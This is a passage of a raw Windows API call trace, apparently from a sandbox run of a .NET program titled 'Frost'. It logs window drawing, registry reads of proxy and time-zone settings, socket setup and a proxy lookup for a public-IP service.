type=0x7) returned 0x5f05077b [0050.049] GetCurrentObject (hdc=0x50106d0, type=0x6) returned 0x8a01c2 [0050.049] SaveDC (hdc=0x50106d0) returned 1 [0050.049] GetNearestColor (hdc=0x50106d0, color=0xf0f0f0) returned 0xf0f0f0 [0050.049] CreateSolidBrush (color=0xf0f0f0) returned 0x16100715 [0050.049] FillRect (hDC=0x50106d0, lprc=0x10fcf20, hbr=0x16100715) returned 1 [0050.049] DeleteObject (ho=0x16100715) returned 1 [0050.049] RestoreDC (hdc=0x50106d0, nSavedDC=-1) returned 1 [0050.050] SetWindowLongPtrW (hWnd=0x80076, nIndex=-8, dwNewLong=0x60030) returned 0x60030 [0050.051] SendMessageW (hWnd=0x60030, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0050.051] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0050.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff9270a0000 [0050.052] GetWindowLongPtrW (hWnd=0x80076, nIndex=-16) returned 0x16cf0000 [0050.052] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0050.053] GetSystemMetrics (nIndex=42) returned 0 [0050.053] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fe020, nMaxCount=6 | out: lpString="Frost") returned 5 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fe020) returned 0x5 [0050.053] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0050.053] GetSystemMetrics (nIndex=42) returned 0 [0050.053] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fe020, nMaxCount=6 | out: lpString="Frost") returned 5 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fe020) returned 0x5 [0050.053] GetWindowLongPtrW (hWnd=0x80076, nIndex=-16) returned 0x16cf0000 [0050.053] GetWindowLongPtrW (hWnd=0x80076, nIndex=-20) returned 0x90100 [0050.053] SetWindowLongPtrW (hWnd=0x80076, nIndex=-16, dwNewLong=0x12cf0000) returned 0x16cf0000 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x10fe0e0) returned 0x0 [0050.053] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x10fe0e0) returned 0x0 [0050.054] SetWindowLongPtrW (hWnd=0x80076, nIndex=-20, dwNewLong=0x90000) returned 0x90100 [0050.054] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x10fe0e0) returned 0x0 [0050.054] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x10fe0e0) returned 0x0 [0050.055] SetWindowPos (hWnd=0x80076, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0050.055] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x46, wParam=0x0, lParam=0x10fe140) returned 0x0 [0050.055] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x83, wParam=0x1, lParam=0x10fe110) returned 0x0 [0050.056] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0050.058] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fdc70 | out: lpwndpl=0x10fdc70) returned 1 [0050.058] GetClientRect (in: hWnd=0x80076, lpRect=0x10fdb90 | out: lpRect=0x10fdb90) returned 1 [0050.058] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0050.058] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0050.058] GetSystemMetrics (nIndex=42) returned 0 [0050.058] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fd8f0, nMaxCount=6 | out: lpString="Frost") returned 5 [0050.058] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fd8f0) returned 0x5 [0050.058] GetClientRect (in: hWnd=0x80076, lpRect=0x10fd958 | out: lpRect=0x10fd958) returned 1 [0050.058] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0050.058] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0050.058] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x5f05077b [0050.058] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0050.063] SaveDC (hdc=0x60100ce) returned 1 [0050.063] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0050.063] CreateSolidBrush (color=0xf0f0f0) returned 0x17100715 [0050.063] FillRect (hDC=0x60100ce, lprc=0x10fd640, hbr=0x17100715) returned 1 [0050.063] DeleteObject (ho=0x17100715) returned 1 [0050.063] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0050.064] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fdc50 | out: lpwndpl=0x10fdc50) returned 1 [0050.064] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x47, wParam=0x0, lParam=0x10fe140) returned 0x0 [0050.064] GetClientRect (in: hWnd=0x80076, lpRect=0x10fdaf0 | out: lpRect=0x10fdaf0) returned 1 [0050.064] GetWindowRect (in: hWnd=0x80076, lpRect=0x10fdaf0 | out: lpRect=0x10fdaf0) returned 1 [0050.065] RedrawWindow (hWnd=0x80076, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0050.065] GetSystemMenu (hWnd=0x80076, bRevert=0) returned 0x60235 [0050.065] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fe1b0 | out: lpwndpl=0x10fe1b0) returned 1 [0050.065] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0050.065] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0050.065] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0050.065] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0050.065] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0050.065] SetWindowLongPtrW (hWnd=0x2022a, nIndex=-8, dwNewLong=0x80076) returned 0x20220 [0050.598] GetCurrentProcess () returned 0xffffffffffffffff [0050.598] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fda88 | out: TokenHandle=0x10fda88*=0x33c) returned 1 [0050.611] GetCurrentProcess () returned 0xffffffffffffffff [0050.611] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fda98 | out: TokenHandle=0x10fda98*=0x340) returned 1 [0050.662] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x344 [0050.664] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x348 [0050.709] GetCurrentProcess () returned 0xffffffffffffffff [0050.709] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fda78 | out: TokenHandle=0x10fda78*=0x34c) returned 1 [0050.711] GetCurrentProcess () returned 0xffffffffffffffff [0050.711] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fda88 | out: TokenHandle=0x10fda88*=0x350) returned 1 [0050.717] QueryPerformanceFrequency (in: lpFrequency=0x7ff8b24a68f0 | out: lpFrequency=0x7ff8b24a68f0*=100000000) returned 1 [0050.717] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe188 | out: lpPerformanceCount=0x10fe188*=14189188596) returned 1 [0050.721] GetCurrentProcess () returned 0xffffffffffffffff [0050.721] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd978 | out: TokenHandle=0x10fd978*=0x354) returned 1 [0050.724] GetCurrentProcess () returned 0xffffffffffffffff [0050.724] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd988 | out: TokenHandle=0x10fd988*=0x358) returned 1 [0050.768] GetCurrentProcess () returned 0xffffffffffffffff [0050.768] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd9d8 | out: TokenHandle=0x10fd9d8*=0x35c) returned 1 [0050.770] GetCurrentProcess () returned 0xffffffffffffffff [0050.770] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd9e8 | out: TokenHandle=0x10fd9e8*=0x360) returned 1 [0050.774] GetCurrentProcess () returned 0xffffffffffffffff [0050.774] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fdf38 | out: TokenHandle=0x10fdf38*=0x364) returned 1 [0050.780] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fbf48 | out: phkResult=0x10fbf48*=0x368) returned 0x0 [0050.780] RegQueryValueExW (in: hKey=0x368, lpValueName="InstallationType", lpReserved=0x0, lpType=0x10fbf98, lpData=0x0, lpcbData=0x10fbf90*=0x0 | out: lpType=0x10fbf98*=0x1, lpData=0x0, lpcbData=0x10fbf90*=0xe) returned 0x0 [0050.781] RegQueryValueExW (in: hKey=0x368, lpValueName="InstallationType", lpReserved=0x0, lpType=0x10fbf98, lpData=0x2fed9c0, lpcbData=0x10fbf90*=0xe | out: lpType=0x10fbf98*=0x1, lpData="Client", lpcbData=0x10fbf90*=0xe) returned 0x0 [0050.781] RegCloseKey (hKey=0x368) returned 0x0 [0051.430] CoTaskMemAlloc (cb=0xcd0) returned 0x1338a30 [0051.432] RasEnumConnectionsW (in: param_1=0x1338a30, param_2=0x10fdef0, param_3=0x10fdef8 | out: param_1=0x1338a30, param_2=0x10fdef0, param_3=0x10fdef8) returned 0x0 [0051.625] CoTaskMemFree (pv=0x1338a30) [0051.955] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x10fdc38 | out: lpWSAData=0x10fdc38) returned 0 [0051.958] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3cc [0052.113] setsockopt (s=0x3cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0052.113] closesocket (s=0x3cc) returned 0 [0052.114] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3cc [0052.114] setsockopt (s=0x3cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0052.114] closesocket (s=0x3cc) returned 0 [0052.115] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3cc [0052.115] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0 [0052.117] ioctlsocket (in: s=0x3cc, cmd=-2147195266, argp=0x10fdf18 | out: argp=0x10fdf18) returned 0 [0052.117] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3d4 [0052.117] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d8 [0052.117] ioctlsocket (in: s=0x3d4, cmd=-2147195266, argp=0x10fdf18 | out: argp=0x10fdf18) returned 0 [0052.118] WSAIoctl (in: s=0x3cc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x10fdea0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x10fdea0, lpOverlapped=0x0) returned -1 [0052.119] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x10fda80, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0052.121] WSAEventSelect (s=0x3cc, hEventObject=0x3d0, lNetworkEvents=512) returned 0 [0052.121] WSAIoctl (in: s=0x3d4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x10fdea0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x10fdea0, lpOverlapped=0x0) returned -1 [0052.121] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x10fda80, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0052.121] WSAEventSelect (s=0x3d4, hEventObject=0x3d8, lNetworkEvents=512) returned 0 [0052.121] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3dc [0052.122] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x3dc, param_3=0x3) returned 0x0 [0052.128] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x10fdf78 | out: phkResult=0x10fdf78*=0x3f4) returned 0x0 [0052.128] RegOpenKeyExW (in: hKey=0x3f4, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fdeb8 | out: phkResult=0x10fdeb8*=0x3f8) returned 0x0 [0052.128] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3fc [0052.128] RegNotifyChangeKeyValue (hKey=0x3f8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3fc, fAsynchronous=1) returned 0x0 [0052.129] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fdec0 | out: phkResult=0x10fdec0*=0x404) returned 0x0 [0052.129] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x408 [0052.129] RegNotifyChangeKeyValue (hKey=0x404, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x408, fAsynchronous=1) returned 0x0 [0052.129] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fdec0 | out: phkResult=0x10fdec0*=0x40c) returned 0x0 [0052.129] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0052.130] RegNotifyChangeKeyValue (hKey=0x40c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x410, fAsynchronous=1) returned 0x0 [0052.130] GetCurrentProcess () returned 0xffffffffffffffff [0052.130] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fde48 | out: TokenHandle=0x10fde48*=0x414) returned 1 [0052.133] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fcf88 | out: phkResult=0x10fcf88*=0x418) returned 0x0 [0052.134] RegQueryValueExW (in: hKey=0x418, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x10fcfc8, lpData=0x0, lpcbData=0x10fcfc0*=0x0 | out: lpType=0x10fcfc8*=0x0, lpData=0x0, lpcbData=0x10fcfc0*=0x0) returned 0x2 [0052.134] RegCloseKey (hKey=0x418) returned 0x0 [0052.459] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x131c3f0 [0053.154] WinHttpSetTimeouts (hInternet=0x131c3f0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0053.155] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x10fdec0 | out: pProxyConfig=0x10fdec0) returned 1 [0053.561] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x10fd000, nSize=0x80 | out: lpBuffer="?ĩ") returned 0x0 [0053.561] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x10fd000, nSize=0x80 | out: lpBuffer="?ĩ") returned 0x0 [0053.565] EtwEventRegister (in: ProviderId=0x2ff16b8, EnableCallback=0x1b8b0c0c, CallbackContext=0x0, RegHandle=0x2ff1698 | out: RegHandle=0x2ff1698) returned 0x0 [0053.565] EtwEventSetInformation (RegHandle=0x4b000001331de0, InformationClass=0x2, EventInformation=0x2ff1640, InformationLength=0x35) returned 0x0 [0053.568] GetCurrentProcess () returned 0xffffffffffffffff [0053.569] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd948 | out: TokenHandle=0x10fd948*=0x460) returned 1 [0053.570] GetCurrentProcess () returned 0xffffffffffffffff [0053.570] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd958 | out: TokenHandle=0x10fd958*=0x46c) returned 1 [0053.577] SetEvent (hEvent=0x344) returned 1 [0053.605] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc60*=0x3dc, lpdwindex=0x10fda34 | out: lpdwindex=0x10fda34) returned 0x80010115 [0055.927] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc10*=0x3d0, lpdwindex=0x10fd9e4 | out: lpdwindex=0x10fd9e4) returned 0x80010115 [0055.927] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc10*=0x3d8, lpdwindex=0x10fd9e4 | out: lpdwindex=0x10fd9e4) returned 0x80010115 [0055.927] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdce0*=0x3fc, lpdwindex=0x10fdab4 | out: lpdwindex=0x10fdab4) returned 0x80010115 [0055.928] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdce0*=0x408, lpdwindex=0x10fdab4 | out: lpdwindex=0x10fdab4) returned 0x80010115 [0055.928] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdce0*=0x410, lpdwindex=0x10fdab4 | out: lpdwindex=0x10fdab4) returned 0x80010115 [0055.929] WinHttpGetProxyForUrl (in: hSession=0x131c3f0, lpcwszUrl="http://ipv4bot.whatismyipaddress.com/", pAutoProxyOptions=0x10fdd50, pProxyInfo=0x10fde20 | out: pProxyInfo=0x10fde20) returned 0 [0056.156] GetCurrentProcess () returned 0xffffffffffffffff [0056.156] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd828 | out: TokenHandle=0x10fd828*=0x4d4) returned 1 [0056.157] GetCurrentProcess () returned 0xffffffffffffffff [0056.157] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fd838 | out: TokenHandle=0x10fd838*=0x4d8) returned 1 [0056.158] GetTimeZoneInformation (in: lpTimeZoneInformation=0x10fdc50 | out: lpTimeZoneInformation=0x10fdc50) returned 0x1 [0056.159] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x10fda58 | out: pTimeZoneInformation=0x10fda58) returned 0x1 [0056.162] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fda28 | out: phkResult=0x10fda28*=0x4dc) returned 0x0 [0056.163] RegQueryValueExW (in: hKey=0x4dc, lpValueName="TZI", lpReserved=0x0, lpType=0x10fda68, lpData=0x0, lpcbData=0x10fda60*=0x0 | out: lpType=0x10fda68*=0x3, lpData=0x0, lpcbData=0x10fda60*=0x2c) returned 0x0 [0056.163] RegQueryValueExW (in: hKey=0x4dc, lpValueName="TZI", lpReserved=0x0, lpType=0x10fda68, lpData=0x2ff6858, lpcbData=0x10fda60*=0x2c | out: lpType=0x10fda68*=0x3, lpData=0x2ff6858*, lpcbData=0x10fda60*=0x2c) returned 0x0 [0056.164] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fd828 | out: phkResult=0x10fd828*=0x0) returned 0x2 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x0, lpcbData=0x10fd9f0*=0x0 | out: lpType=0x10fd9f8*=0x1, lpData=0x0, lpcbData=0x10fd9f0*=0x20) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x2ff6d58, lpcbData=0x10fd9f0*=0x20 | out: lpType=0x10fd9f8*=0x1, lpData="@tzres.dll,-320", lpcbData=0x10fd9f0*=0x20) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x0, lpcbData=0x10fd9f0*=0x0 | out: lpType=0x10fd9f8*=0x1, lpData=0x0, lpcbData=0x10fd9f0*=0x20) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x2ff6dc8, lpcbData=0x10fd9f0*=0x20 | out: lpType=0x10fd9f8*=0x1, lpData="@tzres.dll,-322", lpcbData=0x10fd9f0*=0x20) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x0, lpcbData=0x10fd9f0*=0x0 | out: lpType=0x10fd9f8*=0x1, lpData=0x0, lpcbData=0x10fd9f0*=0x20) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x4dc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x10fd9f8, lpData=0x2ff6e38, lpcbData=0x10fd9f0*=0x20 | out: lpType=0x10fd9f8*=0x1, lpData="@tzres.dll,-321", lpcbData=0x10fd9f0*=0x20) returned 0x0 [0059.448] CoTaskMemAlloc (cb=0x20c) returned 0x131a630 [0059.448] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x131a630 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0059.452] CoTaskMemFree (pv=0x131a630) [0059.453] CoTaskMemAlloc (cb=0x20c) returned 0x131c830 [0059.453] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath=0x131c830, pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38 | out: pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38) returned 1 [0059.480] CoTaskMemFree (pv=0x0) [0059.480] CoTaskMemFree (pv=0x131c830) [0059.481] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2d70001 [0059.485] CoTaskMemAlloc (cb=0x3ec) returned 0x1ec04c50 [0059.485] LoadStringW (in: hInstance=0x2d70001, uID=0x140, lpBuffer=0x1ec04c50, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0059.485] CoTaskMemFree (pv=0x1ec04c50) [0059.486] FreeLibrary (hLibModule=0x2d70001) returned 1 [0059.486] CoTaskMemAlloc (cb=0x20c) returned 0x131a410 [0059.486] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x131a410 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0059.486] CoTaskMemFree (pv=0x131a410) [0059.486] CoTaskMemAlloc (cb=0x20c) returned 0x131c830 [0059.486] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath=0x131c830, pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38 | out: pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38) returned 1 [0059.487] CoTaskMemFree (pv=0x0) [0059.487] CoTaskMemFree (pv=0x131c830) [0059.487] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2d70001 [0059.487] CoTaskMemAlloc (cb=0x3ec) returned 0x1ec04c50 [0059.487] LoadStringW (in: hInstance=0x2d70001, uID=0x142, lpBuffer=0x1ec04c50, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0059.487] CoTaskMemFree (pv=0x1ec04c50) [0059.488] FreeLibrary (hLibModule=0x2d70001) returned 1 [0059.488] CoTaskMemAlloc (cb=0x20c) returned 0x131a410 [0059.488] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x131a410 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0059.488] CoTaskMemFree (pv=0x131a410) [0059.488] CoTaskMemAlloc (cb=0x20c) returned 0x131c830 [0059.488] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath=0x131c830, pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38 | out: pwszLanguage=0x0, pcchLanguage=0x10fda40, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x10fda48, pululEnumerator=0x10fda38) returned 1 [0059.489] CoTaskMemFree (pv=0x0) [0059.489] CoTaskMemFree (pv=0x131c830) [0059.489] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x2d70001 [0059.489] CoTaskMemAlloc (cb=0x3ec) returned 0x1ec04c50 [0059.489] LoadStringW (in: hInstance=0x2d70001, uID=0x141, lpBuffer=0x1ec04c50, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0059.489] CoTaskMemFree (pv=0x1ec04c50) [0059.489] FreeLibrary (hLibModule=0x2d70001) returned 1 [0059.490] RegCloseKey (hKey=0x4dc) returned 0x0 [0059.492] SetEvent (hEvent=0x344) returned 1 [0059.507] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x10fdea8 | out: pFixedInfo=0x0, pOutBufLen=0x10fdea8) returned 0x6f [0059.983] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1352de0 [0059.983] GetNetworkParams (in: pFixedInfo=0x1352de0, pOutBufLen=0x10fdea8 | out: pFixedInfo=0x1352de0, pOutBufLen=0x10fdea8) returned 0x0 [0060.017] LocalFree (hMem=0x1352de0) returned 0x0 [0060.020] CoTaskMemAlloc (cb=0x20c) returned 0x131d0b0 [0060.021] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x131d0b0, nSize=0x104 | out: lpBuffer="㮠ㆼ翹") returned 0x0 [0060.021] CoTaskMemFree (pv=0x131d0b0) [0060.021] CoTaskMemAlloc (cb=0x20c) returned 0x131d0b0 [0060.021] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x131d0b0, nSize=0x104 | out: lpBuffer="㮠ㆼ翹") returned 0x0 